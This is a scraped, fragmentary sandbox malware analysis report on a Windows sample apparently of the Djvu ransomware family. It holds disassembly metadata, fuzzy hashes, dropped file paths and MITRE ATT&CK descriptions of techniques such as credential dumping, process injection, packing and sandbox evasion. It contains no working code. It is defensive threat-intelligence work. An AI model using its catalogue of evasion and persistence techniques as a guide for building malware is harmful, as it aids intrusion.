Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: 8Q
API String ID: 3761405300-2096853525
Opcode ID: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction ID: cc78ca7643d31f84c049b3cf87471233b0d3094e131d8c276326ba2ae67c1d9c
Opcode Fuzzy Hash: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction Fuzzy Hash: 4F21FFB5500304DBD750DF56F981A843BE9BB68310F10AA1AE908CB7E0D7F559D8EF45

Uniqueness

Uniqueness Score: -1.00%

Function 00413C40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 00413CA0

Part of subcall function 00423B4C: _malloc.LIBCMT ref: 00423B64

_memset.LIBCMT ref: 00413C83

Strings

vector<T> too long, xrefs: 00413C96

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_malloc_memset
String ID: vector<T> too long
API String ID: 1327501947-3788999226
Opcode ID: 071899a1ec40e58124afefb64c3ca946a609d82b36fd57056892d0f11dd476bc
Instruction ID: e8ff6f7d1438dbc4cc0d31425bbcf17e71e6c586c3cd126e38002517ea96b8c1
Opcode Fuzzy Hash: 071899a1ec40e58124afefb64c3ca946a609d82b36fd57056892d0f11dd476bc
Instruction Fuzzy Hash: AB0192B25003105BE3309F1AE801797B7E8AF40765F14842EE99993781F7B9E984C7D9

Uniqueness

Uniqueness Score: -1.00%

Function 00420DB3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00420DD5
__calloc_crt.LIBCMT ref: 00420DEE

Strings

Assertion failed: %s, file %s, line %d, xrefs: 00420E13

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: __calloc_crt
String ID: Assertion failed: %s, file %s, line %d
API String ID: 3494438863-969893948
Opcode ID: ad620ad0ceed5b442731dfb2fa6b5f5738d1ac7595c1b548615a28e3d0ce7eec
Instruction ID: 3c5265aa1bf4e9f5ad4874ec33d215fa8746995624eee7e22a7137551c8458fa
Opcode Fuzzy Hash: ad620ad0ceed5b442731dfb2fa6b5f5738d1ac7595c1b548615a28e3d0ce7eec
Instruction Fuzzy Hash: 75F0A97130A2218BE734DB75BC51B6A27D5AF22724B51082FF100DA5C2E73C88425699

Uniqueness

Uniqueness Score: -1.00%

Function 00480620 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00480686

Part of subcall function 00454C00: _raise.LIBCMT ref: 00454C18

Strings

ctx->digest->md_size <= EVP_MAX_MD_SIZE, xrefs: 0048062E
.\crypto\evp\digest.c, xrefs: 00480638

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: _memset_raise
String ID: .\crypto\evp\digest.c$ctx->digest->md_size <= EVP_MAX_MD_SIZE
API String ID: 1484197835-3867593797
Opcode ID: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction ID: 96aa535d5fc7c596ca855a62b55a20e08de4f59c43588781e3518ec4b5147bd0
Opcode Fuzzy Hash: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction Fuzzy Hash: 82012C756002109FC311EF09EC42E5AB7E5AFC8304F15446AF6889B352E765EC558B99

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report sbvN2ih5AU.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Djvu

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\CAAEBKEGHJKEBFHJDBFCFBKKJJ

C:\ProgramData\CAKEBFCF

C:\ProgramData\CFIEHCFI

C:\ProgramData\EBFHJEGD

C:\ProgramData\GHIDHCBGDHJKEBGDGIJE

C:\ProgramData\KKKJEBAA

C:\ProgramData\KKKJEBAAECBGDHIECAKJ

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old.cdqw (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old

Windows Analysis Report
sbvN2ih5AU.exe

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.
Tactics:	Lateral Movement
Data Sources:	File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre